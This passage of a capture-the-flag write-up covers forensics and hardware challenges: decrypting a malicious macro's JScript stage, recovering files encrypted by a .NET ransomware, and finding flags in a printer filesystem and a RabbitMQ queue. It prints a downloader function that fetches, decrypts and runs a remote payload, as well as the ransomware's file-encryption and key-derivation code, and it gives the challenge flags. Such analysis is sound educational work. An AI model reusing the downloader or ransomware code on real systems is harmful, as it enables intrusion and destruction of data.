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";
return r
}
Going back to the macro, a key can be found within the WScript.Shell command at the bottom of the macro code. With the key, I made a simple script to decrypt the ciphertext within the Javascript file.
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import base64
# Function to decode base64 data
def decode_base64(data):
return base64.b64decode(data)
# Function to decrypt the data
def decrypt_data(key, data):
t = list(range(256))
l = 0
h = 0
decrypted_string = b""
# Initialize array t
for i in range(256):
t[i] = i
# Key scheduling algorithm
for i in range(256):
l = (l + t[i] + ord(key[i % len(key)])) % 256
h = t[i]
t[i] = t[l]
t[l] = h
i = 0
j = 0
# Pseudo-random generation algorithm (PRGA) to generate key stream
for k in range(len(data)):
i = (i + 1) % 256
j = (j + t[i]) % 256
h = t[i]
t[i] = t[j]
t[j] = h
decrypted_string += bytes([data[k] ^ t[(t[i] + t[j]) % 256]])
return decrypted_string.decode('utf-8')
# Read the encoded data from the file
with open('ciphertext.txt', 'r') as file:
encoded_data = file.read()
# Decode base64 data
decoded_data = decode_base64(encoded_data.encode())
# Key
key = "vF8rdgMHKBrvCoCp0ulm"
# Decrypt the data
decrypted_data = decrypt_data(key, decoded_data)
with open('out.js', 'w') as outfile:
outfile.write(decrypted_data)
print("Decrypted data has been written to out.js.")
Then, we are given ANOTHER Javascript file. However, thankfully the flag can be found within the Cookie of the HTTP header and it was encoded in base64.
Function within second Javascript file:
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...
function eRNv(caA2) {
var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + "pif";
var S47T = new ActiveXObject("MSXML2.XMLHTTP");
S47T.OPEN("post", caA2, false);
S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
S47T.SETREQUESTHEADER("content-length:", "4");
S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
S47T.SEND("work");
if (Z6HQ.FILEEXISTS(jpVh)) {
Z6HQ.DELETEFILE(jpVh)
}
if (S47T.STATUS == 200) {
var gfjd = new ActiveXObject("ADODB.STREAM");
gfjd.TYPE = 1;
gfjd.OPEN();
gfjd.WRITE(S47T.responseBody);
gfjd.Position = 0;
gfjd.Type = 2;
gfjd.CharSet = "437";
var j3k6 = gfjd.ReadText(gfjd.Size);
var RAKT = t7Nl("2f532d6baec3d0ec7b1f98aed4774843", l9BJ(j3k6));
Trql(RAKT, jpVh);
gfjd.Close()
}
var lDd9 = a0rV();
nr3z(jpVh, caA2);
WScript.Sleep(3e4);
Z6HQ.DELETEFILE(jpVh)
}
...
The flag: S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
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└─$ echo SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo= | base64 --decode
HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}
Confinement [Forensics]
Question: “Our clan’s network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adversaries, our fate uncertain. Your expertise is the beacon of hope we desperately need to unlock these encrypted files and reclaim our destiny in The Fray. Note: The valuable data is stored under \Documents\Work”
Flag: HTB{2_f34r_1s_4_ch01ce_322720914448bf9831435690c5835634}
We are given AD1 image file to analyze. Analyzing it via FTK Imager, we can navigate to C:\Users\tommyxiaomi\Documents\Work\Ncomp\ to find an important file being encrypted with a ransomware note being left behind. However, it seems that the malware was probably removed or hidden since it could not be found in common locations like Downloads, Temp and Desktop.
So I went to analyze the event logs using Hayabusa to get an idea of the attacker’s motive and method. Filtering by high and critical levels, we can see several malwares being detected by Windows Defender with high and critical alerts. The malwares include mimikatz.exe, fscan64.exe, browser-pw-decrypt.exe and intel.exe.
So my teammate @ayam suggested that the Windows Defender might have quarantined the malware. Doing some research on this, I found this blog that mentioned malicious files being stored in C:\ProgramData\Microsoft\Windows Defender\Quarantine\ResourceData.
After that, I found this tool that helps in decrypting files that been quarantined by Windows Defender. Using the tool, the malwares identified in Hayabusa previously can be extracted.
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PS C:\Users\ooiro\Desktop\Windows-Defender-Quarantine-File-Decryptor-main> .\defender_file_decryptor.exe C:\Users\ooiro\Downloads\forensics_confinement\ResourceData\6A\6A5D1A3567B13E1C3F511958771FBEB9841372D1 C:\Users\ooiro\Downloads\forensics_confinement\malware\malware1
PS C:\Users\ooiro\Desktop\Windows-Defender-Quarantine-File-Decryptor-main> .\defender_file_decryptor.exe C:\Users\ooiro\Downloads\forensics_confinement\ResourceData\49\49D2DBE7E1E75C6957E7DD2D4E00EF37E77C0FCE C:\Users\ooiro\Downloads\forensics_confinement\malware\malware2
PS C:\Users\ooiro\Desktop\Windows-Defender-Quarantine-File-Decryptor-main> .\defender_file_decryptor.exe C:\Users\ooiro\Downloads\forensics_confinement\ResourceData\AE\AEB49B27BE00FB9EFCD633731DBF241AC94438B7 C:\Users\ooiro\Downloads\forensics_confinement\malware\malware3
PS C:\Users\ooiro\Desktop\Windows-Defender-Quarantine-File-Decryptor-main> .\defender_file_decryptor.exe C:\Users\ooiro\Downloads\forensics_confinement\ResourceData\B2\B23626565BF4CD28999377F1AFD351BE976443A2 C:\Users\ooiro\Downloads\forensics_confinement\malware\malware4
Analyzing them on VirusTotal, it seems that malware3 is the ransomware responsible for encrypting the files called Encrypter.exe. It seems that the malware .NET-based, so we can use dnSpy again to analyze its functions. Additionally, I found this blog that did a research on this specific ransomware.
I am not very good at malware analysis but from analyzing important parts of the ransomware, I can try to understand how the encryption works.
To save space and time, I will only include the important methods of the program. The first one was the Main method which mainly checks if the program is running on a specific machine with the host name of “DESKTOP-A1L0P1U”. If it is, the program generates a unique UID for the ransomware note created. At the bottom, it shows the encryption was executed with the CoreEncrypter class.
Main method:
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private static void Main(string[] args)
{
Utility utility = new Utility();
PasswordHasher passwordHasher = new PasswordHasher();
if (!Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
{
return;
}
Program.UID = utility.GenerateUserID();
utility.Write("\nUserID = " + Program.UID, ConsoleColor.Cyan);
Alert alert = new Alert(Program.UID, Program.email1, Program.email2);
Program.email = string.Concat(new string[]
{
Program.email1,
" And ",
Program.email2,
" (send both)"
});
Program.coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName, Program.email);
utility.Write("\nStart ...", ConsoleColor.Red);
Program.Enc(Environment.CurrentDirectory);
Console.ReadKey();
}
Inside the CoreEncrypter class was the EncryptFile method which basically handles the encryption of files using a password-based symmetric encryption scheme (RFC 2898). It initializes encryption parameters, including key derivation using the Rfc2898DeriveBytes class, and configures a RijndaelManaged object for symmetric encryption with CBC mode and ISO10126 padding. After ensuring the presence of an alert file, it proceeds to read the file content, encrypting it in chunks with the configured encryption algorithm. The encrypted data is then stored in a new file with a “.korp” extension.
EncryptFile method:
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public void EncryptFile(string file)
{
byte[] array = new byte[65535];
byte[] salt = new byte[]
{
0,
1,
1,
0,
1,
1,
0,
0
};
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(this.password, salt, 4953);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.ISO10126;
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
FileStream fileStream = null;
try
{
if (!File.Exists(Directory.GetDirectoryRoot(file) + "\\" + this.alertName + ".hta"))
{
File.WriteAllText(Path.GetDirectoryName(file) + "\\" + this.alertName + ".hta", this.alert);
}
File.WriteAllText(Path.GetDirectoryName(file) + "\\" + this.alertName + ".hta", this.alert);
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
try
{
fileStream = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);
}
catch (Exception ex2)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex2.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
if (fileStream.Length < 1000000L)
{
string path = null;
FileStream fileStream2 = null;
CryptoStream cryptoStream = null;
try
{
path = file + ".korp";
fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
cryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
}
catch (Exception ex3)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex3.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
try
{
int num;
do
{
num = fileStream.Read(array, 0, array.Length);
if (num != 0)
{
cryptoStream.Write(array, 0, num);
}
}
while (num != 0);
fileStream.Close();
cryptoStream.Close();
fileStream2.Close();
}
catch (Exception ex4)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex4.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
try
{
File.Delete(file);
return;
}
catch (Exception)
{
File.Delete(path);
return;
}
}
string destFileName = file + ".korp";
try
{
long position = fileStream.Position;
int num2 = fileStream.ReadByte() ^ 255;
fileStream.Seek(position, SeekOrigin.Begin);
fileStream.WriteByte((byte)num2);
fileStream.Close();
File.Move(file, destFileName);
}
catch (Exception ex5)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex5.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
}
Thankfully this was a forensics challenge, not reverse engineering, so it would not be so difficult to find the decryption requirements. It seems that to decrypt the files, a password and salt was required. According to the PasswordHasher class, the password was generated using both the values of the UID and salt.
PasswordHasher class:
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using System;
using System.Security.Cryptography;
using System.Text;
namespace Encrypter.Class
{
// Token: 0x02000007 RID: 7
internal class PasswordHasher
{
// Token: 0x0600001A RID: 26 RVA: 0x000027C8 File Offset: 0x000009C8
public string GetSalt()
{
return Guid.NewGuid().ToString("N");
}
// Token: 0x0600001B RID: 27 RVA: 0x000027E8 File Offset: 0x000009E8
public string Hasher(string password)
{
string result;
using (SHA512CryptoServiceProvider sha512CryptoServiceProvider = new SHA512CryptoServiceProvider())
{
byte[] bytes = Encoding.UTF8.GetBytes(password);
result = Convert.ToBase64String(sha512CryptoServiceProvider.ComputeHash(bytes));
}
return result;
}
// Token: 0x0600001C RID: 28 RVA: 0x00002834 File Offset: 0x00000A34
public string GetHashCode(string password, string salt)
{
string password2 = password + salt;
return this.Hasher(password2);
}
// Token: 0x0600001D RID: 29 RVA: 0x00002163 File Offset: 0x00000363
public bool CheckPassword(string password, string salt, string hashedpass)
{
return this.GetHashCode(password, salt) == hashedpass;
}
}
}
At the end of the Program class, several static fields can be obtained where only the salt value was specified but not the UID.
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static Program()
{
Program.email1 = "fraycrypter@korp.com";
Program.email2 = "fraydecryptsp@korp.com";
Program.alertName = "ULTIMATUM";
Program.salt = "0f5264038205edfb1ac05fbb0e8c5e94";
Program.softwareName = "Encrypter";
Program.coreEncrypter = null;
Program.UID = null;
}
Additionally, the UID generation seems to be randomly generated in the GenerateUserID method, so at this point I was pretty confused on what I should do next.
GenerateUserID method:
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public string GenerateUserID()
{
Random random = new Random();
string[] array = new string[]
{
"A",
"B",
"C",
"D",
"E",
"F",
"G",
"H",
"I",
"J",
"K",
"L",
"M",
"N",
"O",
"P",
"Q",
"R",
"S",
"T",
"U",
"V",
"W",
"X",
"Y",
"Z"
};
string[] array2 = new string[]
{
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9"
};
string text = null;
for (int i = 1; i < 15; i++)
{
if (i % 2 == 0)
{
text += array[random.Next(0, array.Length)];
}
else
{
text += array2[random.Next(0, array2.Length)];
}
}
return text;
}
Looking back at the Main method, it seems that it initializes an alert which takes the UID and two email addresses for the ransomware note.
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...
Program.UID = utility.GenerateUserID();
utility.Write("\nUserID = " + Program.UID, ConsoleColor.Cyan);
Alert alert = new Alert(Program.UID, Program.email1, Program.email2);
...
Analyzing the Alert method, we can see that the UID variable was turned into AttackID. so it was probably dropped somewhere on the ransomware note. Going to the ransomware note, the UID can be found as 5K7X7E6X7V2D6F.
Alert method:
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public Alert(string AttackID, string email1, string email2)
{
this.AttackID = AttackID;
this.email1 = email1;
this.email2 = email2;
}
With the UID and salt, I slightly modified the CoreEncrypter class to create my own method to decrypt the file.
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using System;
using System.Text;
using System.Security.Cryptography;
using System.IO;
namespace ConsoleApp1
{
class Program
{
public static string Hasher(string password)
{
string result;
using (SHA512CryptoServiceProvider sha512CryptoServiceProvider = new SHA512CryptoServiceProvider())
{
byte[] bytes = Encoding.UTF8.GetBytes(password);
result = Convert.ToBase64String(sha512CryptoServiceProvider.ComputeHash(bytes));
}
return result;
}
public static string GetHashCode(string password, string salt)
{
string password2 = password + salt;
return Hasher(password2);
}
static void Main(string[] args)
{
String UID = "5K7X7E6X7V2D6F";
String _salt = "0f5264038205edfb1ac05fbb0e8c5e94";
String password = GetHashCode(UID, _salt);
String file = "C:\\Users\\ooiro\\Downloads\\forensics_confinement\\Work\\Ncomp\\Applicants_info.xlsx.korp";
byte[] array = new byte[65535];
byte[] salt = new byte[] { 0, 1, 1, 0, 1, 1, 0, 0 };
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.ISO10126;
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
FileStream fileStream = null;
try
{
fileStream = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);
}
catch (Exception ex2)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex2.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
if (fileStream.Length < 1000000L)
{
string path = null;
FileStream fileStream2 = null;
CryptoStream cryptoStream = null;
try
{
path = file.Replace(".korp", "");
fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
cryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
}
catch (Exception ex3)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex3.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
try
{
int num;
do
{
num = fileStream.Read(array, 0, array.Length);
if (num != 0)
{
cryptoStream.Write(array, 0, num);
}
}
while (num != 0);
fileStream.Close();
cryptoStream.Close();
fileStream2.Close();
}
catch (Exception ex4)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex4.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
try
{
File.Delete(file);
return;
}
catch (Exception)
{
File.Delete(path);
return;
}
}
string destFileName = file.Replace(".korp", "");
try
{
long position = fileStream.Position;
int num2 = fileStream.ReadByte() ^ 255;
fileStream.Seek(position, SeekOrigin.Begin);
fileStream.WriteByte((byte)num2);
fileStream.Close();
File.Move(file, destFileName);
}
catch (Exception ex5)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex5.Message);
Console.ForegroundColor = ConsoleColor.Red;
}
}
}
}
Running the script, the file is succesfully decrypted with the flag within it.
Maze [Hardware]
Question: In a world divided by factions, “AM,” a young hacker from the Phreaks, found himself falling in love with “echo,” a talented security researcher from the Revivalists. Despite the different backgrounds, you share a common goal: dismantling The Fray. You still remember the first interaction where you both independently hacked into The Fray’s systems and stumbled upon the same vulnerability in a printer. Leaving behind your hacker handles, “AM” and “echo,” you connected through IRC channels and began plotting your rebellion together. Now, it’s finally time to analyze the printer’s filesystem. What can you find?
Flag: HTB{1n7323571n9_57uff_1n51d3_4_p21n732}
We are given a weird folder. Analyzing the folder, a pdf file can be found in one of the folders and the flag is within it.
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PS C:\Users\ooiro\Downloads\hardware_maze> tree /F
Folder PATH listing
Volume serial number is 8A11-77EB
C:.
└───fs
├───PJL
├───PostScript
├───saveDevice
│ └───SavedJobs
│ ├───InProgress
│ │ Factory.pdf
│ │
│ └───KeepJob
└───webServer
├───default
│ csconfig
│
├───home
│ device.html
│ hostmanifest
│
├───lib
│ keys
│ security
│
├───objects
└───permanent
BunnyPass [Hardware]
Question: As you discovered in the PDF, the production factory of the game is revealed. This factory manufactures all the hardware devices and custom silicon chips (of common components) that The Fray uses to create sensors, drones, and various other items for the games. Upon arriving at the factory, you scan the networks and come across a RabbitMQ instance. It appears that default credentials will work.
Flag: HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}
We are given a RabbitMQ instance to investigate. On the login page, we use the default credentials of admin username and admin password. Inside the website portal, the flag is probably hidden somewhere.
After 2 hours, I came across the Queues page where it seems that there are several messages in certain queues. Analyzing the factory_idle queue, I noticed the Get Message function.
Since the queue has 6 messages, we can use the function to output the messages and the flag can be obtained.
